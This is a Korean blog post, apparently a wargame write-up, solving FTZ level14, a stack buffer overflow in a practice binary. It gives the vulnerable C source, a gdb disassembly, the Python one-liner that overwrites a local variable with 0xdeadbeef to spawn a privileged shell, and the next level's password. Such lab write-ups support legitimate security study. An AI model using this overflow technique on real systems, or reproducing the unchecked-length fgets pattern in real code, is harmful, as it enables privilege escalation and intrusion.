티스토리 뷰

System/FTZ

[FTZ] level14

MitNy 2017. 9. 25. 17:06


level14도 bof 문제이다.

힌트는 다음과 같다.


레벨14 이후로는 mainsource의 문제를 그대로 가져왔습니다.

버퍼 오버플로우, 포맷스트링을 학습하는데는 이 문제들이

최고의 효과를 가져다줍니다.


#include <stdio.h>

#include <unistd.h>


main()

{ int crap;

  int check;

  char buf[20];

  fgets(buf,45,stdin);

  if (check==0xdeadbeef)

   {

     setreuid(3095,3095);

     system("/bin/sh");

   }

}


대충 코드를 보면 buf의 공간은 20이지만 fgets로 45만큼 받아서 buf에 저장한다.

그리고 check가 0xdeadbeef 와 일치하면 level15의 쉘을 따낼 수 있다.

crap은 어디서 쓰이는 걸까 궁그미



(gdb) disas main

Dump of assembler code for function main:

0x08048490 <main+0>: push   ebp

0x08048491 <main+1>: mov    ebp,esp

0x08048493 <main+3>: sub    esp,0x38

0x08048496 <main+6>: sub    esp,0x4

0x08048499 <main+9>: push   ds:0x8049664

0x0804849f <main+15>: push   0x2d    -> 45

0x080484a1 <main+17>: lea    eax,[ebp-56]

0x080484a4 <main+20>: push   eax

0x080484a5 <main+21>: call   0x8048360 <fgets>

0x080484aa <main+26>: add    esp,0x10    -> 16

0x080484ad <main+29>: cmp    DWORD PTR [ebp-16],0xdeadbeef

0x080484b4 <main+36>: jne    0x80484db <main+75>

0x080484b6 <main+38>: sub    esp,0x8

0x080484b9 <main+41>: push   0xc17

0x080484be <main+46>: push   0xc17

0x080484c3 <main+51>: call   0x8048380 <setreuid>

0x080484c8 <main+56>: add    esp,0x10

0x080484cb <main+59>: sub    esp,0xc

0x080484ce <main+62>: push   0x8048548

0x080484d3 <main+67>: call   0x8048340 <system>

0x080484d8 <main+72>: add    esp,0x10

0x080484db <main+75>: leave

0x080484dc <main+76>: ret

0x080484dd <main+77>: lea    esi,[esi]

End of assembler dump.


(python -c 'print "A"*40+"\xef\xbe\xad\xde"';cat)|./attackme


이런식으로 A 45개 + deadbeef 등등 여러 시도를 했었는데 deadbeef값이 ebp-16에 제대로 들어가지 않았다.




거의다 풀었었는데 cat이랑 | 로 했을때 입력을 더 받길래 틀린거구나 했었는데

이미 쉘이 따져있는 상태였고 그 이후로 삽질 삽질 삽질하다가 알아냈다..ㅠㅠ




Level15 Password is "guess what".


'System > FTZ' 카테고리의 다른 글

[FTZ] level16  (0) 2017.09.28
[FTZ] level15  (0) 2017.09.27
[FTZ] level13  (3) 2017.09.21
[FTZ] level12  (0) 2017.09.20
[FTZ] level11  (0) 2017.09.18
댓글
공지사항
최근에 올라온 글
최근에 달린 댓글
Total
Today
Yesterday
링크
«   2024/04   »
1 2 3 4 5 6
7 8 9 10 11 12 13
14 15 16 17 18 19 20
21 22 23 24 25 26 27
28 29 30
글 보관함